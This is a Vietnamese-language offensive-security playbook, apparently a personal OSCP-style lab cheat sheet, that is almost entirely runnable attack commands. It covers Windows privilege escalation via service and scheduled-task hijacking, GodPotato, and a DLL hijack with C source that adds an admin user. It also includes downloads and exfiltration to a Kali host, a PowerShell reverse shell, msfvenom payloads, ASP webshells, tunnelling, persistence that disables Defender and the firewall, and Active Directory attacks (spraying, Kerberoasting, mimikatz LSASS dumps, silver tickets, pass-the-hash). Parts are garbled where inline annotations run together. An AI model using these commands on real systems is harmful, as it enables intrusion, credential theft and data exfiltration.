copy .\adduser.exe "C:\Program Files\Enterprise.exe" # segment đầu trong PATH resolve!
# (hoặc copy vào "C:\Program Files\Enterprise Apps\Current.exe" nếu dir đó writable)
# ── TRIGGER ──
net stop GammaSvc; net start GammaSvc # hoặc Restart-Service GammaSvc
# không restart được → shutdown /r /t 0 nếu có SeShutdownPrivilege + StartMode=Auto
# ── ENUM ──
Get-ScheduledTask | %{ $i=$_|Get-ScheduledTaskInfo; $t=$_.Triggers|Select -First 1;
[pscustomobject]@{Name=$_.TaskName; RunAs=$_.Principal.UserId; NextRun=$i.NextRunTime; Intv=$t.Repetition.Interval} } | ft -a
# → CacheCleanup: RunAs=daveadmin(admins), Interval=PT30M → mỗi 30 phút chạy lại!
Get-ScheduledTask | ? TaskName -like "*CacheCleanup*" | %{$_.Actions | select Execute,Arguments}
# → C:\Users\steve\Pictures\BackendCacheCleanup.exe
icacls "C:\Users\steve\Pictures\BackendCacheCleanup.exe" # steve:(F) → ghi được
# ── DEPLOY ──
iwr -uri http://<kali>/adduser.exe -Outfile adduser.exe
move C:\Users\steve\Pictures\BackendCacheCleanup.exe .\BackendCacheCleanup.bak
copy .\adduser.exe C:\Users\steve\Pictures\BackendCacheCleanup.exe
# ── TRIGGER ── đợi ≤30 phút (task tự chạy) → dave4 vào administrators
# ── PRE-CHECKS ──
whoami /priv # SeImpersonatePrivilege enabled ✓ (service acct: iis/mssql/webshell)
reg query "HKLM\SOFTWARE\Microsoft\Ole" /v EnableDCOM # phải có DCOM
Get-Service RpcSs; Get-Service Spooler # RpcSs cho GodPotato, Spooler cho PrintSpoofer
ls "$env:windir\Microsoft.NET\Framework64" # v4.x có → dùng GodPotato-NET4
# ── EXPLOIT ──
iwr -uri http://<kali>/GodPotato-NET4.exe -OutFile GodPotato-NET4.exe
.\GodPotato-NET4.exe -cmd "cmd /c whoami" # → nt authority\system
.\GodPotato-NET4.exe -cmd "cmd /c net user dave4 lab /add && net localgroup administrators dave4 /add"
# hoặc reverse shell:
iwr -uri http://<kali>/nc.exe -OutFile nc.exe
.\GodPotato-NET4.exe -cmd "C:\Users\Public\nc.exe <kali> 9999 -e cmd"
# nếu GodPotato fail → thử PrintSpoofer64.exe -i -c cmd (spooler running) → SweetPotato
# ── CHECK cửa vào ──
netstat -ano | findstr :3389 # RDP mở → xfreerdp dave4
netstat -ano | findstr :5985 # WinRM → evil-winrm -i . -u dave4 -p lab
# ── ENUM (kali hoặc upload accesschk.exe) ──
accesschk.exe /accepteula -uwcqv "steve" * # → GammaSvc: SERVICE_CHANGE_CONFIG!
# hoặc PS: $sd=(cmd /c "sc sdshow GammaSvc") -join ""; có ACE (A;;CCLCSWRPWPDTLOCRRC;;;<SID-mình>)
# ── EXPLOIT ──
iwr -uri http://<kali>/shell.exe -OutFile C:\Users\Public\shell.exe
sc config GammaSvc binpath= "C:\Users\Public\shell.exe" # trỏ binpath về payload
net stop GammaSvc && net start GammaSvc # → reverse shell SYSTEM về kali
# (không restart được: sc config + shutdown /r /t 0 nếu Auto)
Example 7 — DLL hijack qua config ẩn ProgramData (lab thực chiến)
ENUM — service không có gì, đọc app trong Program Files:
Get-ChildItem "C:\Program Files","C:\Program Files (x86)"
Get-Content "C:\Program Files (x86)\SyncEngine\SyncEngine.exe.config"
- xml lộ
ConfigPath=C:\ProgramData\SyncEngine\config\settings.ini— mời đọc tiếp
Đọc ini trong thư mục ẨN (ProgramData):
Get-Content "C:\ProgramData\SyncEngine\config\settings.ini" -Force
- ini lộ DB creds +
ExtensionPath=C:\ProgramData\SyncEngine\extra+CoreModule=synccore.dll→ app load dll từ dir này
Check quyền ProgramData:
icacls "C:\ProgramData"
- Users có
(CI)(WD,AD,WEA,WA)— WD ghi file · AD tạo thư mục · WA sửa thuộc tính → drop dll được
PAYLOAD — adduser.c compile x86_64-w64-mingw32-gcc adduser.c --shared -o a.dll:
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(HANDLE h, DWORD r, LPVOID p) {
if (r == DLL_PROCESS_ATTACH) {
system("net user dave3 password123! /add");
system("net localgroup administrators dave3 /add");
}
return TRUE;
}
DEPLOY + TRIGGER:
curl http://<kali>:443/a.dll -o C:\ProgramData\SyncEngine\extra\synccore.dll
Get-Service *sync*
Start-Service SyncEngine
- tên service đoán từ tên app/file ini — không list được thì thử đúng tên trong ini
- service chạy với quyền cao → dll load → user mới vào group Administrators → RDP/WinRM
🐚 3. SHELLS & FILE TRANSFER WINDOWS
3.1 Download về Windows (khi đã có RCE)
certutil -urlcache -split -f http://<kali>:8080/x.exe C:\Users\Public\x.exe
bitsadmin /transfer j http://<kali>:8080/x.exe C:\Users\Public\x.exe
curl.exe -o x.exe http://<kali>:8080/x.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://<kali>:8080/x.exe','x.exe')"
powershell -c "Invoke-WebRequest http://<kali>:8080/x.exe -OutFile x.exe"
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<kali>:8080/x.ps1')"
copy \\<kali-host>\share\x.exe
python3 -m pyftpdlib --port 21 --write
pip3 install wsgidav cheroot && wsgidav --host=0.0.0.0 --port=80 --root=/tmp/dav --auth=anonymous
dir \\<kali>\DavWWWRoot
curl -X POST http://<kali>:8000/upload -F 'files=@C:\loot.txt'
IEX(New-Object Net.WebClient).DownloadString('http://<kali>/PSUpload.ps1'); Invoke-FileUpload -Uri http://<kali>:8000/upload -File C:\loot.txt
curl.exe -o x.exe http://<kali>:8080/x.exe— Win10+ có sẵnpowershell -c "Invoke-WebRequest http://<k…— IWRpowershell -c "IEX(New-Object Net.WebClien…— load thẳngcopy \\<kali-host>\share\x.exe— qua SMB (impacket-smbserver)python3 -m pyftpdlib --port 21 --write— base64 khi có filter: certutil -decode x.b64 x.exe · = KÊNH PHỤ khi HTTP bị chặn = · FTP (kali host server có WRITE): · pip3 install pyftpdlibpip3 install wsgidav cheroot && wsgidav --…— windows down: (New-Object Net.WebClient).DownloadFile('ftp://<kali>/x.exe','x.exe') · windows UP : (New-Object Net.WebClient).UploadFile('ftp://<kali>/loot.txt','C:\loot.txt') · WEBDAV (mount thẳng như drive — nhanh hơn copy từng file):dir \\<kali>\DavWWWRoot— windows thấy như share → copy 2 chiềucurl -X POST http://<kali>:8000/upload -F …— UPLOAD file về kali (exfil): · kali: python3 -m uploadserverIEX(New-Object Net.WebClient).DownloadStri…— PSUpload.ps1 (https upload):⚠️ HTTPS cho uploadserver (kali): ⚠️ openssl req -x509 -out s.pem -keyout s.pem -newkey rsa:2048 -nodes -subj '/CN=x' ⚠️ python3 -m uploadserver 443 --server-certificate s.pem ; curl -k -F files=@f https://kali/upload ⚠️ PS exfil qua base64 POST: ⚠️ $b=[Convert]::ToBase64String((Get-Content f -Encoding Byte)); IWR http://kali/ -Method POST -Body $b
3.2 Reverse shell Windows
POWERSHELL (chuẩn — qua EncodedCommand):
$kali='<ip>';$p=4444;$c=New-Object System.Net.Sockets.TCPClient($kali,$p);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$e=([text.encoding]::ASCII).GetBytes($r2);$s.Write($e,0,$e.Length);$s.Flush()}
echo '<powershell trên>' | iconv -t UTF-16LE | base64 -w0
powershell -enc <b64>
nc.exe -e cmd.exe <kali> 4444
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<kali> LPORT=4444 -f exe -o s.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f dll -o s.dll
msfvenom -p windows/x64/shell_reverse_tcp -f aspx -o s.aspx
msfvenom -p windows/x64/powershell_reverse_tcp -f psh -o s.ps1
msfvenom -p windows/x64/shell_reverse_tcp -f msi -o x.msi
msfvenom -p windows/x64/shell_reverse_tcp -f hta-psh -o x.hta
echo '<powershell trên>' | iconv -t UTF-16…— bọc base64 (tránh quote hell): · trên Kalipowershell -enc <b64>— chạy trên targetnc.exe -e cmd.exe <kali> 4444— NC (upload nc.exe trước):msfvenom -p windows/x64/shell_reverse_tcp …— METERPRETER/msfvenom:msfvenom -p windows/x64/shell_reverse_tcp …— rundll32msfvenom -p windows/x64/shell_reverse_tcp …— IIS webshellmsfvenom -p windows/x64/shell_reverse_tcp …— msiexec /imsfvenom -p windows/x64/shell_reverse_tcp …— mshta⚠️ webshell IIS: <% eval request("c") %> (ASP) / <%@ Language=JScript %><%Response.Write(eval(Request("c")))%>
🕳️ 4. TUNNELS & PIVOT WINDOWS
NETSH PORTPROXY (cần admin local) — forward port:
netsh interface portproxy add v4tov4 listenport=4444 listenaddress=0.0.0.0 connectport=445 connectaddress=10.11.40.3
netsh interface portproxy add v4tov4 listenport=33060 listenaddress=<target-ip> connectport=3306 connectaddress=127.0.0.1
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 /f
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenport=4444
plink.exe -ssh -l <kali-user> -pw <pass> -R 445:10.11.40.3:445 <kali-ip>
plink.exe -ssh -l u -pw p -L 8080:internal-host:80 <kali-ip>
chisel.exe client <kali>:8000 R:socks
chisel.exe client <kali>:8000 R:3389:10.11.40.3:3389
agent.exe -connect <kali>:11601 -ignore-cert
ssh -L 8080:target:80 user@pivot
ssh -D 1080 user@pivot
proxychains evil-winrm -i <target> ...
impacket-smbserver share /tmp/exfil -smb2support -u u -p p
copy C:\Users\Public\loot.zip \\<kali>\share\loot.zip
dnscat2-server --dns port=53,domain=x.com
dnscat.exe --dns server=x.com,port=53
netsh interface portproxy add v4tov4 liste…— ⭐ EXAM TRICK: service bind 127.0.0.1 (MySQL/RabbitMQ nội bộ) → expose ra ngoài:reg add HKCU\Console /v VirtualTerminalLev…— từ Kali: mysql -h <target> -P 33060 -u root -p --skip-ssl · show/xoá: netsh interface portproxy show all · ... delete v4tov4 listenport=33060 listenaddress=<ip> · WinRM thiếu màu/ANSI → fix console:netsh interface portproxy delete v4tov4 li…— xóaplink.exe -ssh -l <kali-user> -pw <pass> -…— (từng dùng: DC02→WS032 pivot SMB relay) · === PLINK (putty-tools — không cần admin cho -R): · reverse về Kaliplink.exe -ssh -l u -pw p -L 8080:internal…— forward rachisel.exe client <kali>:8000 R:socks— === CHISEL (kiêng AV ít — binary go): · SOCKS5 về Kalichisel.exe client <kali>:8000 R:3389:10.11…— port cụ thểagent.exe -connect <kali>:11601 -ignore-ce…— === LIGOLO-NG (pivot chuẩn OSCP — chi tiết setup kali bên 01-LINUX 🐧#🕳️ 7. TUNNELS & PIVOT): · trên Windows pivot, connect về proxy kalissh -L 8080:target:80 user@pivot— rồi trên kali: session → start → ip route adddev ligolo · reverse shell từ mạng sau về: listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:4444 --tcp · → pivot:8000 sẽ forward thẳng về kali:4444 (target nội bộ callback vào đây!) · === SSH CÓ SẴN (Win10+ OpenSSH): · y hệt Linux ssh -D 1080 user@pivot— SOCKSproxychains evil-winrm -i <target> ...— === KALI side proxychains: · qua SOCKSimpacket-smbserver share /tmp/exfil -smb2s…— + ssh -D / chisel R:socks → /etc/proxychains.conf: socks5 127.0.0.1 1080 · === EXFIL qua SMB: · Kalicopy C:\Users\Public\loot.zip \\<kali>\sha…— targetdnscat2-server --dns port=53,domain=x.com— === EXFIL qua DNS (khi mọi port chết): · Kalidnscat.exe --dns server=x.com,port=53— target
⚠️ 5. GOTCHAS WINDOWS — đã trả học phí
- PPL chặn LSASS dump — secretsdump qua RPC vẫn chạy
- WinRM open ≠ authorize được: session config (JEA-like) chặn
- Lỗi 5986 WinRM SSL: cert self-signed chết — dùng 5985 http
- Windows Defender ăn nc.exe/msfvenom exe ngay — dùng powershell -enc hoặc obfuscate
nxc/evil-winrmdomain user cần prefixDOM\\user
- Thư mục *backup nằm ngoài C:* (C:\Backup, C:\Temp) — SAM/SYSTEM cũ vẫn dump được nếu chưa đổi pass
- ProgramData có thư mục ẨN —
lskhông thấy, phải lấy path chính xác từ file config/xml của app - File
.initên thường trùng service — không enum được service thì đoán từ tên app/ini curlcó sẵn Windows 10+ — download 1 lệnh, khỏi certutil
🚩 6. FLAG HUNT WINDOWS
dir C:\Users\*\Desktop\key.txt flag.txt proof.txt local.txt user.txt /s /btype C:\Users\Public\*.txt·dir C:\ /a(root hidden: Tools/Scripts/Backup...)- Registry:
reg query HKLM\SOFTWARE /f flag /s+ services description + env - AD attributes user + computer (description/info/comment)
- Scheduled tasks custom (XML trong
C:\Windows\System32\Tasks\) - SQL:
sqlcmd -S .\SQLEXPRESS -E -Q "select name from sys.databases" - Recycle Bin · Panther · unattend · IIS logs
- Content pattern
[a-z0-9]{20}full-drive (scheduled task nền) - Browser:
logins.json+key4.db·Login Data· FileZilla.xml - VHL:
C:\Users\Administrator\Desktop\key.txt— hoặc /root/key.txt — flag có thể chỉ nằm trên DC!
Get-ChildItem C:\ -Recurse -Include key.txt,flag.txt,proof*.txt,local.txt,user.txt -ErrorAction SilentlyContinue | % FullName
cmd /c dir /s /b C:\key.txt C:\flag.txt C:\proof.txt 2>nul
🛠️ 7. TOOLBOX IMPACKET & SUITE
| Tool | Dùng | Ví dụ |
|---|---|---|
psexec |
exec qua SMB (cần ADMIN$) | impacket-psexec dom/u:p@ip |
wmiexec |
exec qua WMI (kín) | impacket-wmiexec dom/u:p@ip 'cmd' |
smbexec |
exec qua SCM | |
atexec |
exec qua Task Scheduler | |
secretsdump |
SAM/LSA/NTDS/DCC2 | -just-dc (DCSync) |
mimikatz (trên box) |
logonpasswords/LSA/tickets | mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" exit |
GetUserSPNs |
kerberoast | mục 4 |
GetNPUsers |
AS-REP | mục 4 |
ticketer |
golden/silver ticket | mục 5.8 |
rbcd |
write msDS-AllowedToActOnBehalf... | mục 5.6 |
ntlmrelayx |
relay NTLM | mục 5.5 |
mssqlclient |
SQL qua TDS | mục 1.4 |
nxc (netexec) |
spray/enum/exec | nxc smb ip -u u -p p -x whoami |
evil-winrm |
shell WinRM | evil-winrm -i ip -u u -p p / -H ntlm |
certipy |
ADCS (ESC1-8) | certipy find -u u@dom -p p -dc-ip dc |
coercer |
coerce tự động | mục 5.5 |
rpcclient |
RPC thủ công | enumdomusers, setuserinfo2 |
📦 8. PERSISTENCE & MOVEMENT (nếu cần)
run key:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v dv /t REG_SZ /d "C:\Users\Public\dv.exe"
schtasks /create /tn dvfscan /sc minute /mo 5 /tr "powershell -File C:\Windows\Temp\fs.ps1" /ru SYSTEM
C:\ProgramData\ssh\administrators_authorized_keys
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
Set-MpPreference -DisableRealtimeMonitoring $true
netsh advfirewall set allprofiles state off
schtasks /create /tn dvfscan /sc minute /m…— scheduled task SYSTEM:C:\ProgramData\ssh\administrators_authoriz…— SSH authorized_keys (OpenSSH có sẵn): · (admin) hoặc user ~/.ssh/Set-ItemProperty -Path 'HKLM:\System\Curre…— new admin: net user dv P@ss! /add ; net localgroup administrators dv /add · mở RDP cho dễ quay lại (cần admin):reg add HKLM\SOFTWARE\Microsoft\Windows\Cu…— UAC remote-token-filter: cho phép LOCAL admin (không phải domain) login WinRM/PsExec:Set-MpPreference -DisableRealtimeMonitorin…— tắt Defender + FW (standalone box, khi đã admin):
Trong AD, password yếu + mô tả user lộ creds + dịch vụ thừa quyền là 90% đường vào. DnsAdmins/Backup Operators/PasswordReset group = DA-in-waiting. Đọc group membership kỹ hơn đọc exploit.
🔗 LINKS — exploit & privesc đã dùng
| Technique | Link |
|---|---|
| 🏰 AD links | → 03-AD 🏰 |
| LOLBins Windows | https://lolbas-project.github.io |
| Windows privesc guide | https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/ |
| ntlmrelayx / impacket | https://github.com/fortra/impacket |
| GodPotato (SeImpersonate) | https://github.com/BeichenDream/GodPotato |
| PrintSpoofer | https://github.com/itm4n/PrintSpoofer |
| msfvenom/msfconsole | https://docs.metasploit.com |
| winPEAS | https://github.com/peass-ng/PEASS-ng |
| PrivescCheck.ps1 | https://github.com/itm4n/PrivescCheck |
| Jenkins /scriptText groovy | https://github.com/gquere/pwn_jenkins |
🏰 ACTIVE DIRECTORY — attack playbook
Tách riêng khỏi 02-WINDOWS 🪟 (file đó = standalone Windows). File này = domain/AD: mỏ creds, BloodHound/LDAP enum, Kerberos attacks, toàn bộ chain user→DA đã prove trên lab 10.11.x (DC02/WS032/erp01).
Flow chuẩn: creds → spray → enum (BH/LDAP) → kerberoast/ASREP → local admin 1 box → secretsdump loot → lateral → DA path (relay/DnsAdmins/RBCD/gMSA) → DCSync.
🔑 1. CREDS & SPRAY — mỏ mật khẩu AD
# AD description fields — plaintext password nguyên văn:
ldapsearch -x -H ldap://<dc> -D '<user>@dom' -w '<pass>' \
-b "DC=dom,DC=local" "(objectClass=user)" sAMAccountName description | grep -B1 -A1 -i "pass"
# GPP cpassword trong SYSVOL:
# \\DC\SYSVOL\<dom>\Policies\*\MACHINE\Preferences\{Groups,Services,Scheduledtasks}.xml
gpp-decrypt <edbc5a...-hash>
# Welcome letters / Staff.csv trên shares:
smbclient //<dc>/Management -U '<user>%<pass>' -c 'ls; get WelcomeLetter.pdf'
pdftotext *.pdf - | grep -iA2 "password|username"
# Workstation loot:
# FileZilla.xml → <Pass> (b64/plain) · mRemoteNG .conf (AES key default) · PuTTY reg sessions
# saved creds: cmdkey /list ; runas /savecred
# DPAPI blobs + Chrome Login Data + Firefox logins.json+key4.db → copy về Kali dpapi unlock
Spray khi LockoutBadCount=0 (đọc GptTmpl.inf trong SYSVOL):
nxc smb <dc> -u users.txt -p 'Season2021!' --continue-on-success
nxc smb <dc> -u user+machine.txt -p pass.txt --continue-on-success
nxc rdp <ip> -u 'u' -p 'p'
nxc winrm <ip> -u users.txt -H hashes.txt
for p in 'Winter2020!' 'Spring2021!' 'DevinPass123!'; do nxc smb <dc> -u users.txt -p "$p" | grep "\[+\]"; done
nxc smb <dc> -u user+machine.txt -p pass.t…— file "user:domain$machine" pairsnxc rdp <ip> -u 'u' -p 'p'— check rdp trước khi xfreerdpnxc winrm <ip> -u users.txt -H hashes.txt— spray hash qua winrm
Tài khoản DOMAIN phải prefix: vhlnetworklab02\\ws032admin — không prefix = local account = sai.
📊 2. ENUM AD CHIỀU SÂU
BloodHound (full ACL):
bloodhound-python -d <dom>.local -u <user> -p '<pass>' -dc <dc-host> -c All --dns-server <dc-ip>
rusthound-ce -d <dom> -u '<user>@<dom>' -p '<pass>' -i <dc-ip> -z
ldapsearch -x -H ldap://<dc> -D '<user>@<dom>' -w '<pass>' -b "DC=<dom>,DC=local" \
"(objectClass=user)" sAMAccountName memberOf description
ldapsearch ... "(servicePrincipalName=*)" sAMAccountName servicePrincipalName
ldapsearch ... "(objectClass=msDS-GroupManagedServiceAccount)" sAMAccountName msDS-GroupMSAMembership
rusthound-ce -d <dom> -u '<user>@<dom>' -p '<…— collector Rust mới — nhanh hơn, zip sẵnldapsearch -x -H ldap://<dc> -D '<user>@<dom>…— unzip → BloodHound: tìm đường User→DA · GenericAll · ForceChangePassword · WriteDacl · ldapsearch trực tiếp:ldapsearch ... "(servicePrincipalName=*)" …— group đặc biệt quét: DnsAdmins · PasswordReset · PSWA · "RDP users" · Account Operators · Backup Operators · SPN list (kerberoast targets):ldapsearch ... "(objectClass=msDS-GroupMan…— gMSA:
GenericAll container-inherited thường chỉ áp user-class objects — không áp gMSA/computer. Check "Where applied" trước khi mừng.
2.1 BloodHound collectors & setup
SETUP bloodhound-ce (Kali):
sudo apt install -y bloodhound neo4j
sudo neo4j console
bloodhound
.\SharpHound.exe -c All
.\SharpHound.exe -c DCOnly
.\SharpHound.exe -u <user> -p <pass> -d <dom>
.\SharpHound.exe --LdapUsername u --LdapPassword p
powershell -ep bypass -c "iex(New-Object Net.WebClient).DownloadString('http://kali/SharpHound.ps1'); Invoke-BloodHound -CollectionMethod All"
powershell -ep bypass -c ". .\SharpHound.ps1; Invoke-BloodHound -CollectionMethod LoggedOn"
godap -u '<user>' -p '<pass>' -d <dom> --dc-ip <dc>
nxc ldap <dc> -k --use-kcache -M enum_trusts
nxc smb <dc> -k --use-kcache --shares --sam --lsa
PsLoggedOn.exe \\<ip>
Find-DomainShare
ls \\<dc>\sysvol\<dom>\
sudo neo4j console— → http://localhost:7474 (đổi pass lần đầu)bloodhound— GUI — kéo thả zip collector vào.\SharpHound.exe -c All— hoặc docker CE: pip install bloodhound-ce --break-system-packages · = COLLECTORS (chạy trên Windows target) = · full collect (nặng, dễ bị phát hiện).\SharpHound.exe -c DCOnly— nhẹ — chỉ AD objects, không session.\SharpHound.exe -u <user> -p <pass> -d <dom>— cred khác.\SharpHound.exe --LdapUsername u --LdapPa…— explicit LDAP credpowershell -ep bypass -c "iex(New-Object N…— PowerShell (bypass AV hơn exe):godap -u '<user>' -p '<pass>' -d <dom> --dc-ip <…— = TOOL enum khác khi BH không dùng được = · ldapsearch hiện đại, output đẹpnxc ldap <dc> -k --use-kcache -M enum_trus…— domain trustsnxc smb <dc> -k --use-kcache --shares --sa…— loot qua ticketPsLoggedOn.exe \\<ip>— ai đang login trên box nàoFind-DomainShare— PowerView — share đọc đượcls \\<dc>\sysvol\<dom>\— SYSVOL scripts = mỏ creds
2.2 Cypher queries hay dùng (BloodHound custom query)
// user có description (creds công khai):
MATCH (u:User {enabled:true}) WHERE u.description IS NOT NULL RETURN u.name, u.description
// SPN targets kerberoast — chỉ user, bỏ computer:
MATCH (u:User {hasspn:true, enabled:true})
RETURN u.name, u.serviceprincipalnames, u.pwdlastset ORDER BY u.pwdlastset ASC
// LAPS readable:
MATCH p=(u:User)-[:ReadLAPSPassword]->(c:Computer) RETURN p
MATCH (c:Computer {haslaps:true}) RETURN c
// user có admin ở đâu (direct + qua group):
OPTIONAL MATCH (u)-[:AdminTo]->(c1:Computer)
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)-[:AdminTo]->(c2:Computer)
RETURN u.name, collect(c1.name)+collect(c2.name)
// ai đang login box nào (HasSession):
MATCH p=(u:User)-[:HasSession]->(c:Computer) RETURN p
// outbound ACE nguy hiểm của user hiện tại:
MATCH (u:User)-[r]->(n) WHERE type(r) IN
["GenericAll","GenericWrite","WriteDacl","WriteOwner","AllExtendedRights","ForceChangePassword","AddMember"]
RETURN u.name, type(r), n.name
// group custom (bỏ builtin):
MATCH (g:Group) WHERE NOT g.name =~ "(?i).*(DOMAIN ADMINS|ADMINISTRATORS|USERS|GUESTS).*" RETURN g.name
🎟️ 3. KERBEROS ATTACKS
Kerberoast (user có SPN):
impacket-GetUserSPNs <dom>/<user>:'<pass>' -dc-ip <dc> -request -outputFile /tmp/tgs.txt
john --wordlist=rockyou.txt --format=krb5tgs /tmp/tgs.txt
hashcat -m 13100 tgs.txt rockyou.txt
impacket-GetNPUsers <dom>/ -no-pass -usersfile users.txt -dc-ip <dc>
john --format=krb5asrep /tmp/asrep.txt
impacket-psexec -hashes :<ntlm> <dom>/<user>@<ip>
export KRB5CCNAME=/tmp/x.ccache && impacket-wmiexec -k -no-pass <dom>/<user>@<host>
john --wordlist=rockyou.txt --format=krb5t…— RC4 etype 23hashcat -m 13100 tgs.txt rockyou.txt— AESimpacket-GetNPUsers <dom>/ -no-pass -users…— AS-REP roast (DONT_REQ_PREAUTH):impacket-psexec -hashes :<ntlm> <dom>/<user>@…— PtH / PtT:⚠️ ticket .kirbi (win) → .ccache (kali): impacket-ticketConverter t.kirbi t.ccache ⚠️ nxc với ticket: nxc smb
-k --use-kcache --generate-hosts-file hosts.txt ⚠️ evil-winrm + kerberos: evil-winrm -i .<dom> -u <user> -r <dom> (cần KRB5CCNAME+krb5.conf+đồng bộ giờ)
Kali lệch giờ DC >5 phút → KRB_AP_ERR_SKEW. Fix faketime + TZ=UTC. Đổi system date phá VPN cert — luôn dùng faketime.
sudo ntpdate -u <dc> cũng được nếu không sợ NTP block.
3.1 LSASS → creds/tickets (khi có admin trên box)
check ai đang login trước khi dump (đáng dump không):
query session
nxc smb <ip> -u u -p p -d dom --loggedon-users
Get-CimInstance Win32_LoggedOnUser | Select -Expand Antecedent
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
IEX (New-Object Net.WebClient).DownloadString('http://kali/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
pypykatz lsa minidump lsass.dmp | grep -i ntlm
sekurlsa::tickets
sekurlsa::ekeys
token::elevate ; lsadump::secrets
.\mimikatz.exe "privilege::debug" "sekurls…— mimikatz trên box:IEX (New-Object Net.WebClient).DownloadStr…— fileless (tránh AV quét disk — PowerSploit):pypykatz lsa minidump lsass.dmp | grep -i …— OFFLINE dump (an toàn nhất): Task Manager → Details → lsass.exe → Create dump · → C:\Users\<user>\AppData\Local\Temp\lsass.dmp → về kali: · pip3 install pypykatzsekurlsa::tickets— nanodump: nhiều cơ chế bypass AV/EDR khi mimikatz bị giết · đọc đúng field mimikatz: NTLM=PtH · wdigest=cleartext · kerberos=autologon svc · credman = saved creds user tick "remember me" · TGT/TGS export được → PtTsekurlsa::ekeys— AES keys (32B=AES/16B=RC4 — mimikatz hay in sai nhãn)token::elevate ; lsadump::secrets— default svc password — cần SYSTEM trước
3.2 Silver Ticket — forge TGS khi có hash của service account
có NTLM/AES của account chạy service (vd iis_service qua logonpasswords):
mimikatz (trên box):
kerberos::golden /sid:<dom-sid> /domain:<dom> /ptt /target:<svc>.<dom> \
/service:http /rc4:<ntlm-svc> /user:<fake-admin>
impacket-ticketer -nthash <ntlm-svc> -domain-sid <sid> -domain <DOM> \
-spn HTTP/<svc>.<dom> <fakeuser>
impacket-ticketer -aesKey <aes256> -domain-sid <sid> -domain <DOM> -spn HTTP/<svc>.<dom> x
export KRB5CCNAME=<fakeuser>.ccache ; sudo apt install krb5-user
klist
sudo ntpdate -u <dom>
curl --negotiate -u : http://<svc>.<dom>/
impacket-ticketer -nthash <ntlm-svc> -doma…— hoặc ticketer trên kali (RC4):impacket-ticketer -aesKey <aes256> -domain…— AES thay RC4 (stealth hơn):klist— check ticket nạp chưasudo ntpdate -u <dom>— đồng bộ giờ — bắt buộc!curl --negotiate -u : http://<svc>.<dom>/— dùng ngay⚠️ lấy domain-sid: lookupsid.py <dom>/<user>:<pass>@
| grep SID
3.3 Lateral — PtH/PtT nâng cao (M11)
OVER-PASS-THE-HASH: biến NTLM thành Kerberos TGT
trên Windows — mimikatz inject hash vào process MỚI (không cần chạy lệnh admin):
sekurlsa::pth /user:<user> /domain:<dom> /ntlm:<hash> /run:powershell
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show
Rubeus.exe asktgt /user:<user> /domain:<dom> /aes256:<key> /ptt /createnetonly /luid:<luid>
impacket-getTGT <dom>/<user> -hashes :<nthash> -dc-ip <dc> -o /tmp/u.ccache
export KRB5CCNAME=/tmp/u.ccache
evil-winrm -i <host>.<dom> -K /tmp/u.ccache
nxc smb <dải> -k --use-kcache -d <dom> --kdcHost <dc>
kerberos::ptt [0;xxx]-0-0-40810000-<user>@cifs-<svc>.kirbi
Rubeus.exe createnetonly /program:C:\Windo…— → powershell mới mở ra đã mang creds <user>: net use \files04 ; ls \web04\backup · Rubeus (stealth hơn — logon type 9 hidden):impacket-getTGT <dom>/<user> -hashes :<nthash…— = từ LINUX — NTLM → TGT trực tiếp: =evil-winrm -i <host>.<dom> -K /tmp/u.ccach…— -K dùng trực tiếp file ccachekerberos::ptt [0;xxx]-0-0-40810000-<user>@cif…— = PASS-THE-TICKET: export ticket từ box → dùng = · mimikatz trên box đã compromise: sekurlsa::tickets /export → *.kirbi · import trên Windows⚠️ Linux: ticketConverter (đã có §3) — nhớ add host vào /etc/hosts + krb5.conf đúng
dig A <dom> trả CF → thử: crt.sh subdomain cũ, dig MX/TXT (mail thường bare-IP), historical DNS (securitytrails), curl -H "Host: <dom>" http://<ip-nghi>/ confirm vhost.
🗄️ 4. AD ATTACK CHAIN — từ user tới Domain Admin
4.1 Có local admin trên 1 box → dump mọi thứ
nxc smb <ip> -u <user> -p '<pass>'
impacket-secretsdump <dom>/<user>:'<pass>'@<ip>
nxc smb <ip> -u <user> -p '<pass>'— Pwn3d! = local admin⚠️ → SAM hashes · LSA secrets (service creds NGUYÊN VĂN) · DCC2 cached · DPAPI · NL$KM ⚠️ machine account NT hash (computer$) → dùng cho RBCD/S4U
procdump/lsassy/comsvcs MiniDump đều denied → dùng secretsdump (RemoteRegistry) — thường đủ.
4.2 DCC2 → crack
secretsdump: $DCC2$10240#<user>#<hash> → john:
john --format=mscash2 --wordlist=rockyou.txt dcc2.txt
4.3 PasswordReset / ForceChangePassword / WriteDacl abuse
Group PasswordReset reset được user KHÁC:
rpcclient -U '<resetter>%<pass>' <dc> setuserinfo2 <victim> 23 '<newpass>'
bloodyAD -d <dom> -u <user> -p '<pass>' --host <dc> --dc-ip <dc> set password <victim> 'NewPass123!'
# (fail "Password can't be changed" = account protected — đổi victim ngang quyền)
# DA/EA/Schema thường "protected" — test bằng victim ngang quyền trước
# WriteDacl trên GROUP → tự cấp quyền AddMember → add mình vào group:
dacledit.py -action 'write' -rights 'WriteMembers' -principal '<me>' \
